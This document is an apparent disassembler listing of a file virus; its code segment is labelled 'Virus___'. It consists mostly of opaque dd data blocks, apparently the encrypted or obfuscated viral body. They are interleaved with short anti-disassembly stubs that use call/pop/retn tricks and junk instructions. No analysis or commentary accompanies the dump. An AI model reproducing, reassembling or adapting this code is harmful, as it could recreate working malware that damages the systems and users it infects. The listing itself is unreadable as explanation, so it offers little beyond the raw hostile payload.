		dd 0CB02BB00h, 0C974CD3Dh, 2FC718BAh, 0E16E625Dh, 7C708F63h
		dd 1216A3FCh, 74493EE9h, 12FE57Bh, 8237E978h, 0C431CD33h
		dd 34D407F5h, 0E97E6644h, 4C35D523h, 560BABB4h,	6A4721B9h
		dd 2C48E16Bh, 0D163FC79h, 0CC3AC171h, 3FC109B0h, 0FC693649h
		dd 7E70C062h, 4110B8FDh, 335423B9h, 4223F66Ah, 8C20ED7Bh
		dd 0C33CFC71h, 33D34AA6h, 0F22B7341h, 5C77CF2Dh, 400ABDB4h
		dd 7D476CF2h, 532DE970h, 0A675h, 0E0h dup(0)
		dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0)
		dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h
		dd 2 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_542C39
; ---------------------------------------------------------------------------
		mov	edx, [ebp+71B32FDh]
		cld
		mov	ebx, [ebp+71B1E8Dh]
		mov	eax, eax
		push	0
		push	eax
		call	sub_540107
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_540107	proc near		; CODE XREF: Virus___:005400FFp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_540107	endp

; ---------------------------------------------------------------------------
		db 0F1h
		dd 25907A57h, 2229B501h, 0BD83071Bh, 71B1BD1h, 83097500h
		dd 1B1FD5BDh, 13740007h, 0C08B5350h, 1B8h, 5A9D8D00h, 0FF071DAAh
		dd 83585BD3h, 1B1FD5BDh, 11740007h, 1B85350h, 8D000000h
		dd 1DA90B9Dh, 5BD3FF07h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 7012DFD6h, 0BD89A6B1h
		dd 8D019A5Ah, 71B08A5h,	77B2C08Bh, 1AD5BD83h, 0F00071Bh
		dd 17D84h, 64B65700h, 8DBD835Ah, 71B26h, 16C840Fh, 958B0000h
		dd 71B1159h, 51006A60h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0D2E35080h, 0D338DA82h, 958B69F3h
		dd 71B27BDh, 858BD98Bh,	71B268Dh, 12EDBD89h, 0E805071Bh
		dd 6A000003h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0C2DDC357h, 52606492h,	0F58FBB7h
		dd 5061D9B7h, 446ABB66h, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0FAC7C350h
		dd 0BB985Fh, 8D559C22h,	1B4F6585h, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0D4ED4122h
		dd 0AB009F03h, 51605058h, 2035B866h, 61F38A5Fh,	80240489h
		dd 958B29E6h, 71B1781h,	4F43858Dh, 0F381071Bh, 79C1FD37h
		dd 2800F90h, 8B000000h,	6A9050D9h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B34C351h
		dd 1B0D4995h, 6D95FF07h, 8B071B16h, 0CC483D8h, 8D5FBA66h
		dd 4F43858Dh, 0B589071Bh, 71B354Dh, 89FA8A50h, 81662404h
		dd 6A3160F2h, 95FFFC02h, 6AED14h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 15C35646h, 2A5DBD09h, 161071Bh
		dd 1B147185h, 85C7FC07h, 71B4F76h, 1, 0D7DB8166h, 830F96C9h
		dd 1Fh,	6E8h, 0E1E87400h, 0E98CE879h, 0Eh, 1253E8E6h, 0DE37195Ch
		dd 66705119h, 505B5C73h, 9E85250h, 0E3000000h, 0A46B1316h
		dd 0DB79B2C4h, 0F5B5B52h, 5AF08A31h, 12E99658h,	0D0000000h
		dd 0CBFB1039h, 2FD59D81h, 247733Fh, 39CB53AFh, 0D98B6609h
		dd 4F27B589h, 21BB071Bh, 831BBCC1h, 1B2105BDh, 850F0107h
		dd 54h,	26919D03h, 0F883071Bh, 45850F05h, 0E9000000h, 0Bh
		dd 0BE8EC570h, 0CD1DC0A7h, 8992EF8Ch, 1B27399Dh, 0B807h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0F76863C3h, 91846A1Dh, 9D8BB3DEh,	71B3519h
		dd 2119BD83h, 0F00071Bh, 8084h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0D1365C61h
		dd 14A78241h, 0EE9CE68h, 0A5000000h, 42E241B1h,	0B9931663h
		dd 0FB8A2E32h, 0BA60F885h, 5956A81Eh, 95FF64B6h, 71B2119h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 1CC35141h
		dd 67E2844Dh, 938D3DACh, 493FBB66h, 0F46C04BAh,	840F6127h
		dd 5, 9DF5BBAh,	0EDBD8308h, 71B24h, 2F840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0E171DC3h, 0B8A28C0Ah, 33F1952Bh, 0B8071Bh, 0B7000000h
		dd 958B602Ah, 71B2949h,	0CD853160h, 8B071B30h, 858B61CAh
		dd 71B007Dh, 7E8h, 0A3735B00h, 0E71FD7EEh, 835BD68Bh, 816602C0h
		dd 89540FEBh, 1B4F1F85h, 0F58D2907h, 0C6071B26h, 0FE9FF00h
		dd 0BE000000h, 3F14CC0Bh, 4D19E20Eh, 6E939D1Fh,	85C65611h
		dd 71B1C05h, 8E953h, 19AC0000h,	87FDF5A7h, 0CD686285h
		dd 0E9817820h, 10h, 73F8D721h, 18FFC8AEh, 595365B2h, 59694915h
		dd 0B240481h, 6A7B3928h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8A56C353h, 11B5FFDEh
		dd 53071B2Eh, 5AD1B70Fh, 7E7A858Dh, 0FE9071Eh, 0F9000000h
		dd 0D28985BCh, 72482400h, 0BC92CA2Eh, 0D0FF04F4h, 89DAEF80h
		dd 1B128985h, 0B1853107h, 83071B0Ah, 1B325DBDh,	850F0107h
		dd 0E7h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	0E3C35545h, 0B096C05Ah,	0B150DE9Ch, 6699D8Bh, 6A61071Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0EA8DC356h, 0B979BBA3h, 0BE96E22h, 0D3000000h
		dd 3D9FD631h, 0A9A24F4Eh, 85C6E305h, 71B1C05h, 5EB56045h
		dd 0E395D381h, 68613743h, 0C9BA8984h, 52505250h, 310F5A52h
		dd 810Fh, 585A0000h, 5250310Fh,	0E389BB66h, 0EE9310Fh
		dd 54000000h, 3388130Dh, 868EDDC1h, 6E154C0Ch, 5A585A03h
		dd 24348158h, 13DAB146h, 800Fh,	0B5FF0000h, 71B2E11h, 5E9h
		dd 0BE071E00h, 858DCEFEh, 71E7E7Ah, 2D24D6BBh, 0FD0FF0Eh
		dd 285h, 6AF9B300h, 0DB58900h, 0FF071B35h, 0E59D8BD0h
		dd 83071B2Ch, 1B345DBDh, 850F0107h, 99h, 8BDBBF0Fh, 1B007D85h
		dd 6E807h, 0CAD0000h, 0B7A0AD3Dh, 0CAED41BBh, 65E95A43h
		dd 0F9000000h, 2D519D8Bh, 0E850071Bh, 0Ah, 0A53E5D48h
		dd 634F75B0h, 505602CDh, 5A310F52h, 895B5B58h, 0DC8A2404h
		dd 958B146Ah, 71B276Dh,	128995FFh, 6A071Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0F8D660C3h
		dd 0ADE73268h, 8BD41592h, 1B2AED9Dh, 9D315807h,	71B18C5h
		dd 0F003880h, 0FFFF9985h, 40CA80FFh, 890100C6h,	1B2C5DB5h
		dd 9D8B6107h, 71B0489h,	2FA1BD83h, 0F00071Bh, 8B84h, 5E900h
		dd 0CEC50000h, 60C96696h, 2739858Bh, 8166071Bh,	61916CE7h
		dd 958BFF6Ah, 71B2799h,	128995FFh, 6A071Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0A94B52C3h
		dd 0F30E7E5Ch, 0E9519BBAh, 11h,	5DE26A0Bh, 6EB1C880h, 7E800327h
		dd 9443B44Ah, 958B5A96h, 71B0B99h, 0FFFFABE9h, 53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0BB26A60h, 2FA185C7h, 1071Bh, 8F0F0000h, 2, 8589D38Bh
		dd 71B4F2Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	99C35040h, 575090F8h, 68D0Fh, 8E0F0000h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		nop
		mov	ebx, [ebp+71B32ADh]
		pusha
		jno	loc_540822
		movsx	ebx, dx


loc_540822:				; CODE XREF: Virus___:00540819j
		push	5
		push	0
		push	edi
		call	sub_54082F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_54082F	proc near		; CODE XREF: Virus___:00540827p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_54082F	endp

; ---------------------------------------------------------------------------
		db 70h
		dd 18081BB8h, 0E42FF445h, 0D38B6623h, 4F43858Dh, 870F071Bh
		dd 3, 90DAE780h, 0EE9h,	417B8C00h, 545F6684h, 217213Bh
		dd 503BD05Fh, 8190F88Ah, 1722D2CAh, 33858D0Eh, 66071B4Fh
		dd 892A0EBAh, 1B0331BDh, 0CE89007h, 7B000000h, 376F0E22h
		dd 3315EBE4h, 8A8C1ADCh, 50505AD7h, 0FD48A52h, 0D88B6631h
		dd 8A90585Ah, 8195FFDCh, 6A071B05h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0D66EC353h
		dd 41B8A62Eh, 61BB662Bh, 778D8DE3h, 0E9071B7Ah,	0Bh, 18521FDCh
		dd 5D5FE58Fh, 563FC6FBh, 12DFDB81h, 0B5B2648h, 8D1174C0h
		dd 1B4F4385h, 0D1FF5007h, 4F618589h, 0AEB071Bh,	4F6185C7h
		dd 0FFFF071Bh, 0E960FFFFh, 13h,	15B0850Dh, 0D6A5CC6Ah
		dd 3BE9396Bh, 350C2524h, 8B5CBA9Ah, 958B61D6h, 71B045Dh
		dd 0D799D8Bh, 8961071Bh, 1B23D1B5h, 585C607h, 4D071B1Ch
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0D4C35040h
		dd 0AE98Fh, 6A700000h, 24355E59h, 4363C5AFh, 4EF59768h
		dd 5E854h, 41C30000h, 0E9BC8DBCh, 7, 0DF11E99Fh, 5A6EEBA7h
		dd 11240481h, 6A4FE681h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0F46AC352h,	0AAF4FADAh
		dd 95897E6Dh, 71B352Dh,	2295B5FFh, 9D8B071Bh, 71B2201h
		dd 7E7A858Dh, 6A071Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0C690C5C3h, 64958B36h, 0D0FF0E67h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 1BC35040h
		dd 6607E373h, 897507BBh, 1B295985h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0E4E780D1h
		dd 1C0585C6h, 6A45071Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 233DC352h, 0CDDD6622h
		dd 0BA9616CCh, 4342EE88h, 1ED8B968h, 0EE990h, 617D0000h
		dd 1F0848AAh, 0B8ECDBEEh, 783D39D7h, 0D0243481h, 6A1E6CB1h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 56FAC356h, 0E029D683h, 359D23FBh,	0FF071B34h
		dd 1B2E11B5h, 4BDE8007h, 7E7A858Dh, 958B071Eh, 71B15F5h
		dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0BF4678C3h, 0C8F0Fh, 66600000h, 81324BB8h
		dd 9574CAD8h, 10E9613Fh, 0DB000000h, 6BE1EA5Bh,	0F1B56B02h
		dd 0D986D5DAh, 0B7E54CFCh, 5D85898Ah, 89071B14h, 1B14A5B5h
		dd 66D28B07h, 8C66D38Bh, 3BBB66D9h, 4C1F64Bh, 228840Fh
		dd 0BD890000h, 71B0CEDh, 166E9h, 9DBA6600h, 0D5B58B09h
		dd 89071B23h, 1B2E358Dh, 80C68107h, 6A000011h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8BF8C356h, 0B9BD83DAh, 71B30h, 65850Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0DE5C09C3h, 0E8431990h, 12h,	78E8D59Ch, 120F4648h, 30E94C40h
		dd 0FA667947h, 958BF7E8h, 71B05A5h, 0DEBB665Bh,	0D4E9F8h
		dd 870F0000h, 17h, 0FE8h, 339D7F00h, 0C11113C4h, 0FBD2D293h
		dd 137FE00Dh, 835AE5B6h, 840F003Eh, 0AEh, 68D0Fh, 95890000h
		dd 71B2101h, 56006A60h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0E9603F1Fh, 5, 682FC8FEh,	0E49FB903h
		dd 8961210Ah, 1B2E35BDh, 7880F07h, 60000000h, 2C945EBFh
		dd 146A6136h, 0FF5DF680h, 1B128995h, 57006A07h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 2961FCACh
		dd 1B2B3185h, 0FF75E907h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0E0D719C3h, 45950360h
		dd 9071B19h, 1B128D95h,	6C76107h, 1, 83DBF680h,	1B4F2BBDh
		dd 850F0507h, 0AAh, 1C09BD89h, 0B58B071Bh, 71B145Dh, 310D8D31h
		dd 64B9071Bh, 8B000000h, 1B01159Dh, 0E83E8007h,	0E840Fh
		dd 9D8B0000h, 71B0959h,	30E9h, 0DA8B6600h, 0C2057E80h
		dd 60840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0F95CF2C3h, 0A6CF740Eh, 6A46CFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 9D09A9C3h, 71B16EDh,	74DDB81h, 0F493E40h, 0FFFF8C85h
		dd 28BB66FFh, 10E908h, 0BB660000h, 0B5898ABCh, 71B2131h
		dd 8A99D8Bh, 958071Bh, 1B2E199Dh, 0A9BD8307h, 71B24h, 93840Fh
		dd 95030000h, 71B2E35h,	96C78060h, 1C0585C6h, 0F54071Bh
		dd 38Eh, 0D1B70F00h, 0EBBFBA68h, 0B86660DCh, 5360BB3Ah
		dd 0DE8B665Ah, 34816161h, 0A5014E24h, 0FFC7B623h, 1B2E11B5h
		dd 3D958B07h, 8D071B05h, 1E7E7A85h, 5D952907h, 0FF071B30h
		dd 0A7BA66D0h, 0DE947h,	0A6200000h, 8B6D40Ah, 18324B2Dh
		dd 6A65116Fh, 19958B00h, 0FF071B30h, 1B24A9B5h,	820F5207h
		dd 5, 5CA27CBAh, 66565A58h, 5B31EFBAh, 8D89D0FFh, 71B161Dh
		dd 8B66FC61h, 6585C7D3h, 1071B21h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 9304C357h, 51B53167h, 60071B20h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 8FC35242h, 4F7DF748h, 66C0AE5Bh
		dd 68263EBAh, 84A456FDh, 4ADABA51h, 815A25C6h, 0A9832404h
		dd 50BA7B5Bh, 6A4A4C00h, 4D95FFFFh, 8B071B2Ah, 6E961DFh
		dd 1A000000h, 7E08D19Fh, 0AE89002h, 1F000000h, 15E92B35h
		dd 9160C899h, 4ABB66A2h, 0E9505B08h, 0Eh, 0F653AC1Dh, 9E3D6FB4h
		dd 0FDFD7BE8h, 6A90255Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0AD9DC351h,	710BA900h
		dd 958B50E6h, 71B08DDh,	0DCC38050h, 0A5858B5Ah,	0B7071B33h
		dd 0FC00BE2h, 5384h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 2D996040h, 2DE59592h
		dd 0DB35126h, 1595FF5Ah, 6A071B30h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 133FC350h
		dd 0A8DF2CE2h, 354BBE4Ah, 171D85C7h, 1071Bh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 3A114AC3h, 83F8C9B3h, 1B15F1BDh, 840F0007h, 0Fh, 1C1DBD31h
		dd 95FF071Bh, 71B1F41h,	83D0B70Fh, 1B3421BDh, 840F0007h
		dd 32h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h
		dd 9EC35646h, 7AF27F79h, 11D18D01h, 95FF071Bh, 71B1A75h
		dd 11499589h, 0BD83071Bh, 71B2F91h, 5C840F00h, 66000000h
		dd 0F087DB81h, 1F21BD83h, 0F00071Bh, 4A85h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 95FF7680h, 71B2759h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0AAC35747h, 0FF9CDF80h, 0DED8818Ch, 83C3B334h
		dd 1B29CDBDh, 840F0007h
		dd 24h,	278D8589h, 8581071Bh, 71B2A61h,	4003h, 25B59D8Bh
		dd 19B6071Bh, 13118581h, 4003071Bh, 0D08A0000h,	0B589310Fh
		dd 71B3149h, 5EE08D8Dh,	0C780071Bh, 810189C4h, 3BB030F2h
		dd 2D95032Ah, 33071B33h, 53006AC2h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 41892DE4h, 0FBBB6604h
		dd 6A310F9Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 5399C357h, 0F28D8D8Dh,	89071B5Eh
		dd 1B1AED8Dh, 33018907h, 52006AC2h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 10E9F1h, 99440000h, 64E988B9h
		dd 87C846BBh, 0A3A92866h, 4189101Ch, 870F6004h,	1, 0BD8361F5h
		dd 71B1BBDh, 11840F00h,	0BA000000h, 4F30CF35h, 0E0D95FFh
		dd 0EA81071Bh, 23C8C4D4h, 0DF9BD83h, 0F01071Bh,	4B85h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0FA7C00BAh, 0E5F68006h, 23E9h, 29958B00h
		dd 8B071B1Bh, 1B5FFEB5h, 6C707h, 8B000000h, 1B5E09B5h
		dd 6C707h, 0CF000000h, 0D9B6D98Bh, 171DBD83h, 0F00071Bh
		dd 0D084h, 1958B00h, 80071B33h,	0BD83E9D2h, 71B2981h, 0A1850F01h
		dd 0B000000h, 1B2B8D9Dh, 1F8D8B07h, 80071B4Fh, 1C6B3E7h
		dd 25958900h, 60071B0Dh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 4DC35646h, 8112B68Eh,	0E3BCE381h, 0C0686163h
		dd 6048C8DDh, 61FB8B66h, 40243481h, 8048C8DDh, 0FF6AF0C7h
		dd 6E38166h, 4D95FFC8h,	89071B2Ah, 1B146995h, 85896107h
		dd 71B172Dh, 1F4D95FFh,	850F071Bh, 2, 8D8BD6B7h, 71B4F1Fh
		dd 1FED98Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	2C35646h, 27B1BD83h, 0F01071Bh,	0C85h, 6870F00h
		dd 3000000h, 1B271995h,	29C08B07h, 1B11A58Dh, 0D1BD8307h
		dd 71B1Bh, 0BD830975h, 71B1FD5h, 501A7400h, 8BC08B53h
		dd 1B2A6185h, 61858907h, 8D071B2Ah, 1DABB89Dh, 5BD3FF07h
		dd 0D5BD8358h, 71B1Fh, 53501874h, 2A61858Bh, 8589071Bh
		dd 71B2A61h, 0A8A79D8Dh, 0D3FF071Dh, 6A585Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0AB23D4C3h
		dd 609F1B7Dh, 11BDBD33h, 61F8071Bh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 5C35040h, 0CFCB095Eh, 0BA51A197h
		dd 7DB87280h, 0FC08B5Bh, 0C8Bh,	68A0F00h, 0F000000h, 83h
		dd 1DBD8300h, 71B17h, 1D850Fh, 8A0F0000h, 2, 0D78AD78Bh
		dd 245DBD83h, 0F00071Bh, 684h, 7BF38100h, 8338FD41h, 1B171DBDh
		dd 840F0007h, 3Ch, 0AB1BD89h, 0BD83071Bh, 71B351Dh, 29840F00h
		dd 81000000h, 726CDFDBh, 0DE80Eh, 0BE350000h, 6C567D1Ch
		dd 28B11ADBh, 0E985CCCAh, 0Bh, 17005B99h, 30F0C91Bh, 5AB6F824h
		dd 171DBD83h, 0F00071Bh, 2984h,	0EA815000h, 1413A339h
		dd 1DBD835Bh, 71B35h, 14840Fh, 0FE90000h, 6A000000h, 15D6F77Bh
		dd 5F14ACF0h, 39C21AF2h, 0BD83DCB2h, 71B171Dh, 1F840F00h
		dd 89000000h, 1B31658Dh, 0F19D2907h, 83071B12h,	1B357DBDh
		dd 840F0007h, 6, 2709B589h, 0BD83071Bh,	71B171Dh, 52840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 83ABC352h, 1B302DBDh, 840F0007h
		dd 29h,	95FFD58Ah, 71B2D2Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 3C35242h, 60E13144h, 89C08B70h
		dd 1B2381BDh, 0D1BD8307h, 71B1Bh, 0BD830975h, 71B1FD5h
		dd 501A7400h, 8BC08B53h, 1B131185h, 11858907h, 8D071B13h
		dd 1DAC1F9Dh, 5BD3FF07h, 0D5BD8358h, 71B1Fh, 53501874h
		dd 1311858Bh, 8589071Bh, 71B1311h, 0A8C09D8Dh, 0D3FF071Dh
		dd 12BB585Bh, 60179DF6h, 0F9BD8B57h, 5F071B35h,	91858B56h
		dd 5E071B32h, 66C08B61h, 0BD83DF8Bh, 71B171Dh, 2E840F00h
		dd 80000004h, 83F9BDDBh, 1B325DBDh, 840F0207h, 17h, 91952B53h
		dd 5A071B2Eh, 0DF9BD83h, 0F01071Bh, 285h, 60D18B00h, 27A4F281h
		dd 8D8B7D1Bh, 71B4F1Fh,	0FE9h, 6820600h, 19D955Ah, 0A85FCA2Dh
		dd 17B4CCAh, 958B01FEh,	71B24DDh, 4E8h,	8000h, 0AE800h
		dd 78360000h, 1A2A5896h, 94A2100Ah, 5ADA8B66h, 0DF8B6650h
		dd 424448Bh, 8BDE8B66h,	0EE800h, 0C1200000h, 0B111A38Ch
		dd 0B9487115h, 9DEB8C09h, 28B0Fh, 0D68B0000h, 2444895Ah
		dd 0F525004h, 0BBA5BB31h, 585A6E30h, 50006A58h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 9F77E13Eh
		dd 0FC7DD294h, 0AE902B0h, 18000000h, 0E7820138h, 0DB99C63Dh
		dd 60FF6AF1h, 9BF68157h, 5B43D7D8h, 14E8h, 82511B00h, 5696D17h
		dd 4F0898A3h, 196F503Ch, 52B355D0h, 10BA6644h, 0FF615EF4h
		dd 1B2A4D95h, 6188B607h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 89C35545h, 0CE18D89h,	0BD8D071Bh, 71B1545h
		dd 8E8h, 0D0336900h, 0F38CF1AFh, 5A74B7D0h, 891C4F8Bh
		dd 1B1E8985h, 16AF507h,	50DFBF0Fh, 0C89D78Bh, 0E919B724h
		dd 9, 67F79287h, 883301ABh, 0A8858DD3h,	6A071E32h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0F3FC355h, 9D8BD5F5h, 71B1901h, 9D8BD0FFh, 71B2D85h
		dd 0E9204F8Bh, 11h, 2A317FCEh, 0DEF90C29h, 2C5C17EBh, 0E3E85691h
		dd 0E9036AAAh, 8, 0A552FAF0h, 0C1A5Ch, 8996B750h, 6A240Ch
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0DF98E0C3h, 510BC924h, 3155958Bh, 8B0F071Bh,	14h, 0EE8h
		dd 2AD2FB00h, 0ABFEE5CCh, 3F3AD4Eh, 5BDD566Ch, 32A8858Dh
		dd 3360071Eh, 1B24A1B5h, 6146B407h, 820FD0FFh, 2, 0BD8DDA8Bh
		dd 71B1545h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	2BC35141h, 0E73D4E3Bh, 42F381BEh, 8B551066h, 850F1C4Fh
		dd 6, 24FD9D03h, 16A071Bh, 0CE9h, 5D04D800h, 50C0C442h
		dd 0ACD735A3h, 525091CDh, 310F33B7h, 0DACA38BAh, 50585A4Fh
		dd 0FE9h, 9718400h, 92FBC934h, 5C930BC3h, 0FE62BA48h, 1149BB91h
		dd 858D3575h, 71E32A8h,	88C0Fh,	0F570000h, 86h,	0D0FF5A00h
		dd 18D18D89h, 4F8B071Bh, 51006A20h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0BAF7B751h, 29216CCAh
		dd 0F08A036Ah, 5078B391h, 18880Fh, 13E90000h, 0BA000000h
		dd 0F3327CF8h, 47ED32BEh, 0CF85D22Ch, 0F6ADE321h, 0BA91DD1Eh
		dd 4C7FC18Bh, 32A8858Dh, 6A071Eh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0EAA87FC3h, 5830F30h
		dd 66000000h, 0E5CBDB81h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 819096C3h, 1AD20BF4h
		dd 9D8BF722h
		dd 71B114Dh, 4F1F8D8Bh,	9D8B071Bh, 71B2765h, 850F01FEh
		dd 6, 27258501h, 858B071Bh, 71B4F1Fh, 14E8h, 685F300h
		dd 0FFBC4DBh, 0A11C2271h, 9818057Ch, 71C22267h,	3D9D291Fh
		dd 5B071B2Eh, 6A00FEh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0E9D643C3h, 8ED9D89h, 8B56071Bh
		dd 1B258595h, 16A5A07h,	216D9D8Bh, 0F568071Bh, 0FDFBAA3h
		dd 481h, 5A525100h, 2404815Bh, 2044FC0Ah, 858DDF8Bh, 71E32B2h
		dd 2A3D9D8Bh, 0D0FF071Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 28C35242h, 4204A732h,	898A9A25h, 1B1FA19Dh
		dd 5DBD8307h, 71B24h, 0BF840Fh,	9D8B0000h, 71B28C1h, 2105BD83h
		dd 0F01071Bh, 0AC85h, 519D8900h, 8D071B00h, 1E32BC8Dh
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8BAC5083h, 1B0D259Dh, 6A036A07h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 94F5C355h, 21745830h, 959D8B9Ah, 89071B26h, 1B033195h
		dd 8B016A07h, 66D1FFD9h, 204DE381h, 5CBB016Ah, 6A14E59Ch
		dd 0FF81B301h, 8DB750D1h, 0E852B25Bh, 0F9406E44h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 1EC35646h, 15D381B0h
		dd 81357AC1h, 0FEF615DBh, 8B206A47h, 1B2A9D9Dh,	6AFF6A07h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 45CC350h,	0EE903DE1h, 0BDEB6C86h,	9240BB66h
		dd 2A4D95FFh, 840F071Bh, 4, 5ADF8B50h, 0B8h, 0B5BA6600h
		dd 858D896Fh, 0B071B25h, 53840FC0h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 93EAC350h, 0D6EA80F8h, 1EA9BD83h, 0F00071Bh,	2584h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0E995FF5Bh, 80071B28h, 858BC0EFh, 71B007Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 8BC35040h
		dd 0BD89564Ah, 71B162Dh, 0D9958B5Bh, 0E9071B18h, 6, 27DB03Dh
		dd 0C6C5BDh, 0A3E38000h, 0B5096058h, 71B0C11h, 5860Fh
		dd 90BE0000h, 6175EC0Bh, 0FE8h,	0BA2A7800h, 34D34B4Ch
		dd 46661D5Bh, 0B99D7D0Dh, 0D98C665Ah, 0E856006Ah, 3, 5EC35E20h
